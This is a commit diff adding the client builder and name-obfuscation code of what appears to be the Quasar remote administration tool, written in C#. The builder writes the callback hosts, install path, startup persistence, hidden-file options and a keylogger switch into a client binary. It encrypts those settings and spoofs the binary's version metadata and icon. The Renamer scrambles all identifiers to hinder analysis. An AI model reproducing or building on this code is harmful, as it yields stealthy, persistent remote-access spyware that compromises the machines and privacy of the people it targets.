initial commit
This commit is contained in:
@@ -0,0 +1,225 @@
|
||||
using Mono.Cecil;
|
||||
using Mono.Cecil.Cil;
|
||||
using Quasar.Common.Cryptography;
|
||||
using Quasar.Server.Models;
|
||||
using System;
|
||||
using System.Security.Cryptography;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using Vestris.ResourceLib;
|
||||
|
||||
namespace Quasar.Server.Build
|
||||
{
|
||||
/// <summary>
|
||||
/// Provides methods used to create a custom client executable.
|
||||
/// </summary>
|
||||
public class ClientBuilder
|
||||
{
|
||||
private readonly BuildOptions _options;
|
||||
private readonly string _clientFilePath;
|
||||
|
||||
public ClientBuilder(BuildOptions options, string clientFilePath)
|
||||
{
|
||||
_options = options;
|
||||
_clientFilePath = clientFilePath;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Builds a client executable.
|
||||
/// </summary>
|
||||
public void Build()
|
||||
{
|
||||
using (AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly(_clientFilePath))
|
||||
{
|
||||
// PHASE 1 - Writing settings
|
||||
WriteSettings(asmDef);
|
||||
|
||||
// PHASE 2 - Renaming
|
||||
Renamer r = new Renamer(asmDef);
|
||||
|
||||
if (!r.Perform())
|
||||
throw new Exception("renaming failed");
|
||||
|
||||
// PHASE 3 - Saving
|
||||
r.AsmDef.Write(_options.OutputPath);
|
||||
}
|
||||
|
||||
// PHASE 4 - Assembly Information changing
|
||||
if (_options.AssemblyInformation != null)
|
||||
{
|
||||
VersionResource versionResource = new VersionResource();
|
||||
versionResource.LoadFrom(_options.OutputPath);
|
||||
|
||||
versionResource.FileVersion = _options.AssemblyInformation[7];
|
||||
versionResource.ProductVersion = _options.AssemblyInformation[6];
|
||||
versionResource.Language = 0;
|
||||
|
||||
StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
|
||||
stringFileInfo["CompanyName"] = _options.AssemblyInformation[2];
|
||||
stringFileInfo["FileDescription"] = _options.AssemblyInformation[1];
|
||||
stringFileInfo["ProductName"] = _options.AssemblyInformation[0];
|
||||
stringFileInfo["LegalCopyright"] = _options.AssemblyInformation[3];
|
||||
stringFileInfo["LegalTrademarks"] = _options.AssemblyInformation[4];
|
||||
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
|
||||
stringFileInfo["FileVersion"] = versionResource.FileVersion;
|
||||
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
|
||||
stringFileInfo["InternalName"] = _options.AssemblyInformation[5];
|
||||
stringFileInfo["OriginalFilename"] = _options.AssemblyInformation[5];
|
||||
|
||||
versionResource.SaveTo(_options.OutputPath);
|
||||
}
|
||||
|
||||
// PHASE 5 - Icon changing
|
||||
if (!string.IsNullOrEmpty(_options.IconPath))
|
||||
{
|
||||
IconFile iconFile = new IconFile(_options.IconPath);
|
||||
IconDirectoryResource iconDirectoryResource = new IconDirectoryResource(iconFile);
|
||||
iconDirectoryResource.SaveTo(_options.OutputPath);
|
||||
}
|
||||
}
|
||||
|
||||
private void WriteSettings(AssemblyDefinition asmDef)
|
||||
{
|
||||
var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
|
||||
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert)); // export without private key, very important!
|
||||
|
||||
var key = serverCertificate.Thumbprint;
|
||||
var aes = new Aes256(key);
|
||||
|
||||
byte[] signature;
|
||||
// https://stackoverflow.com/a/49777672 RSACryptoServiceProvider must be changed with .NET 4.6
|
||||
using (var csp = (RSACryptoServiceProvider) caCertificate.PrivateKey)
|
||||
{
|
||||
var hash = Sha256.ComputeHash(Encoding.UTF8.GetBytes(key));
|
||||
signature = csp.SignHash(hash, CryptoConfig.MapNameToOID("SHA256"));
|
||||
}
|
||||
|
||||
foreach (var typeDef in asmDef.Modules[0].Types)
|
||||
{
|
||||
if (typeDef.FullName == "Quasar.Client.Config.Settings")
|
||||
{
|
||||
foreach (var methodDef in typeDef.Methods)
|
||||
{
|
||||
if (methodDef.Name == ".cctor")
|
||||
{
|
||||
int strings = 1, bools = 1;
|
||||
|
||||
for (int i = 0; i < methodDef.Body.Instructions.Count; i++)
|
||||
{
|
||||
if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldstr) // string
|
||||
{
|
||||
switch (strings)
|
||||
{
|
||||
case 1: //version
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Version);
|
||||
break;
|
||||
case 2: //ip/hostname
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.RawHosts);
|
||||
break;
|
||||
case 3: //installsub
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallSub);
|
||||
break;
|
||||
case 4: //installname
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.InstallName);
|
||||
break;
|
||||
case 5: //mutex
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Mutex);
|
||||
break;
|
||||
case 6: //startupkey
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.StartupName);
|
||||
break;
|
||||
case 7: //encryption key
|
||||
methodDef.Body.Instructions[i].Operand = key;
|
||||
break;
|
||||
case 8: //tag
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.Tag);
|
||||
break;
|
||||
case 9: //LogDirectoryName
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(_options.LogDirectoryName);
|
||||
break;
|
||||
case 10: //ServerSignature
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(signature));
|
||||
break;
|
||||
case 11: //ServerCertificate
|
||||
methodDef.Body.Instructions[i].Operand = aes.Encrypt(Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert)));
|
||||
break;
|
||||
}
|
||||
strings++;
|
||||
}
|
||||
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_1 ||
|
||||
methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_0) // bool
|
||||
{
|
||||
switch (bools)
|
||||
{
|
||||
case 1: //install
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Install));
|
||||
break;
|
||||
case 2: //startup
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Startup));
|
||||
break;
|
||||
case 3: //hidefile
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideFile));
|
||||
break;
|
||||
case 4: //Keylogger
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.Keylogger));
|
||||
break;
|
||||
case 5: //HideLogDirectory
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideLogDirectory));
|
||||
break;
|
||||
case 6: // HideInstallSubdirectory
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.HideInstallSubdirectory));
|
||||
break;
|
||||
case 7: // UnattendedMode
|
||||
methodDef.Body.Instructions[i] = Instruction.Create(BoolOpCode(_options.UnattendedMode));
|
||||
break;
|
||||
}
|
||||
bools++;
|
||||
}
|
||||
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4) // int
|
||||
{
|
||||
//reconnectdelay
|
||||
methodDef.Body.Instructions[i].Operand = _options.Delay;
|
||||
}
|
||||
else if (methodDef.Body.Instructions[i].OpCode == OpCodes.Ldc_I4_S) // sbyte
|
||||
{
|
||||
methodDef.Body.Instructions[i].Operand = GetSpecialFolder(_options.InstallPath);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Obtains the OpCode that corresponds to the bool value provided.
|
||||
/// </summary>
|
||||
/// <param name="p">The value to convert to the OpCode</param>
|
||||
/// <returns>Returns the OpCode that represents the value provided.</returns>
|
||||
private OpCode BoolOpCode(bool p)
|
||||
{
|
||||
return (p) ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to obtain the signed-byte value of a special folder from the install path value provided.
|
||||
/// </summary>
|
||||
/// <param name="installPath">The integer value of the install path.</param>
|
||||
/// <returns>Returns the signed-byte value of the special folder.</returns>
|
||||
/// <exception cref="ArgumentException">Thrown if the path to the special folder was invalid.</exception>
|
||||
private sbyte GetSpecialFolder(int installPath)
|
||||
{
|
||||
switch (installPath)
|
||||
{
|
||||
case 1:
|
||||
return (sbyte)Environment.SpecialFolder.ApplicationData;
|
||||
case 2:
|
||||
return (sbyte)Environment.SpecialFolder.ProgramFiles;
|
||||
case 3:
|
||||
return (sbyte)Environment.SpecialFolder.System;
|
||||
default:
|
||||
throw new ArgumentException("InstallPath");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,195 @@
|
||||
using Mono.Cecil;
|
||||
using Quasar.Common.Utilities;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
|
||||
namespace Quasar.Server.Build
|
||||
{
|
||||
public class Renamer
|
||||
{
|
||||
/// <summary>
|
||||
/// Contains the assembly definition.
|
||||
/// </summary>
|
||||
public AssemblyDefinition AsmDef { get; set; }
|
||||
|
||||
private int Length { get; set; }
|
||||
private MemberOverloader _typeOverloader;
|
||||
private Dictionary<TypeDefinition, MemberOverloader> _methodOverloaders;
|
||||
private Dictionary<TypeDefinition, MemberOverloader> _fieldOverloaders;
|
||||
private Dictionary<TypeDefinition, MemberOverloader> _eventOverloaders;
|
||||
|
||||
public Renamer(AssemblyDefinition asmDef)
|
||||
: this(asmDef, 20)
|
||||
{
|
||||
}
|
||||
|
||||
public Renamer(AssemblyDefinition asmDef, int length)
|
||||
{
|
||||
this.AsmDef = asmDef;
|
||||
this.Length = length;
|
||||
_typeOverloader = new MemberOverloader(this.Length);
|
||||
_methodOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
|
||||
_fieldOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
|
||||
_eventOverloaders = new Dictionary<TypeDefinition, MemberOverloader>();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to modify the assembly definition data.
|
||||
/// </summary>
|
||||
/// <returns>True if the operation succeeded; False if the operation failed.</returns>
|
||||
public bool Perform()
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (TypeDefinition typeDef in AsmDef.Modules.SelectMany(module => module.Types))
|
||||
{
|
||||
RenameInType(typeDef);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
private void RenameInType(TypeDefinition typeDef)
|
||||
{
|
||||
if (!typeDef.Namespace.StartsWith("Quasar") || typeDef.Namespace.StartsWith("Quasar.Common.Messages") || typeDef.IsEnum /* || typeDef.HasInterfaces */)
|
||||
return;
|
||||
|
||||
_typeOverloader.GiveName(typeDef);
|
||||
|
||||
typeDef.Namespace = string.Empty;
|
||||
|
||||
MemberOverloader methodOverloader = GetMethodOverloader(typeDef);
|
||||
MemberOverloader fieldOverloader = GetFieldOverloader(typeDef);
|
||||
MemberOverloader eventOverloader = GetEventOverloader(typeDef);
|
||||
|
||||
if (typeDef.HasNestedTypes)
|
||||
foreach (TypeDefinition nestedType in typeDef.NestedTypes)
|
||||
RenameInType(nestedType);
|
||||
|
||||
if (typeDef.HasMethods)
|
||||
foreach (MethodDefinition methodDef in
|
||||
typeDef.Methods.Where(methodDef =>
|
||||
!methodDef.IsConstructor && !methodDef.HasCustomAttributes &&
|
||||
!methodDef.IsAbstract && !methodDef.IsVirtual))
|
||||
methodOverloader.GiveName(methodDef);
|
||||
|
||||
if (typeDef.HasFields)
|
||||
foreach (FieldDefinition fieldDef in typeDef.Fields)
|
||||
fieldOverloader.GiveName(fieldDef);
|
||||
|
||||
if (typeDef.HasEvents)
|
||||
foreach (EventDefinition eventDef in typeDef.Events)
|
||||
eventOverloader.GiveName(eventDef);
|
||||
}
|
||||
|
||||
private MemberOverloader GetMethodOverloader(TypeDefinition typeDef)
|
||||
{
|
||||
return GetOverloader(this._methodOverloaders, typeDef);
|
||||
}
|
||||
|
||||
private MemberOverloader GetFieldOverloader(TypeDefinition typeDef)
|
||||
{
|
||||
return GetOverloader(this._fieldOverloaders, typeDef);
|
||||
}
|
||||
|
||||
private MemberOverloader GetEventOverloader(TypeDefinition typeDef)
|
||||
{
|
||||
return GetOverloader(this._eventOverloaders, typeDef);
|
||||
}
|
||||
|
||||
private MemberOverloader GetOverloader(Dictionary<TypeDefinition, MemberOverloader> overloaderDictionary,
|
||||
TypeDefinition targetTypeDef)
|
||||
{
|
||||
MemberOverloader overloader;
|
||||
if (!overloaderDictionary.TryGetValue(targetTypeDef, out overloader))
|
||||
{
|
||||
overloader = new MemberOverloader(this.Length);
|
||||
overloaderDictionary.Add(targetTypeDef, overloader);
|
||||
}
|
||||
return overloader;
|
||||
}
|
||||
|
||||
private class MemberOverloader
|
||||
{
|
||||
private bool DoRandom { get; set; }
|
||||
private int StartingLength { get; set; }
|
||||
private readonly Dictionary<string, string> _renamedMembers = new Dictionary<string, string>();
|
||||
private readonly char[] _charMap;
|
||||
private readonly SafeRandom _random = new SafeRandom();
|
||||
private int[] _indices;
|
||||
|
||||
public MemberOverloader(int startingLength, bool doRandom = true)
|
||||
: this(startingLength, doRandom, "ABCDEFGHIJKLMNOPQRSTUVWXYZ".ToLower().ToCharArray())
|
||||
{
|
||||
}
|
||||
|
||||
private MemberOverloader(int startingLength, bool doRandom, char[] chars)
|
||||
{
|
||||
this._charMap = chars;
|
||||
this.DoRandom = doRandom;
|
||||
this.StartingLength = startingLength;
|
||||
this._indices = new int[startingLength];
|
||||
}
|
||||
|
||||
public void GiveName(MemberReference member)
|
||||
{
|
||||
string currentName = GetCurrentName();
|
||||
string originalName = member.ToString();
|
||||
member.Name = currentName;
|
||||
while (_renamedMembers.ContainsValue(member.ToString()))
|
||||
{
|
||||
member.Name = GetCurrentName();
|
||||
}
|
||||
_renamedMembers.Add(originalName, member.ToString());
|
||||
}
|
||||
|
||||
private string GetCurrentName()
|
||||
{
|
||||
return DoRandom ? GetRandomName() : GetOverloadedName();
|
||||
}
|
||||
|
||||
private string GetRandomName()
|
||||
{
|
||||
StringBuilder builder = new StringBuilder();
|
||||
|
||||
for (int i = 0; i < StartingLength; i++)
|
||||
{
|
||||
builder.Append((char)_random.Next(int.MinValue, int.MaxValue));
|
||||
}
|
||||
|
||||
return builder.ToString();
|
||||
}
|
||||
|
||||
private string GetOverloadedName()
|
||||
{
|
||||
IncrementIndices();
|
||||
char[] chars = new char[_indices.Length];
|
||||
for (int i = 0; i < _indices.Length; i++)
|
||||
chars[i] = _charMap[_indices[i]];
|
||||
return new string(chars);
|
||||
}
|
||||
|
||||
private void IncrementIndices()
|
||||
{
|
||||
for (int i = _indices.Length - 1; i >= 0; i--)
|
||||
{
|
||||
_indices[i]++;
|
||||
if (_indices[i] >= _charMap.Length)
|
||||
{
|
||||
if (i == 0)
|
||||
Array.Resize(ref _indices, _indices.Length + 1);
|
||||
_indices[i] = 0;
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user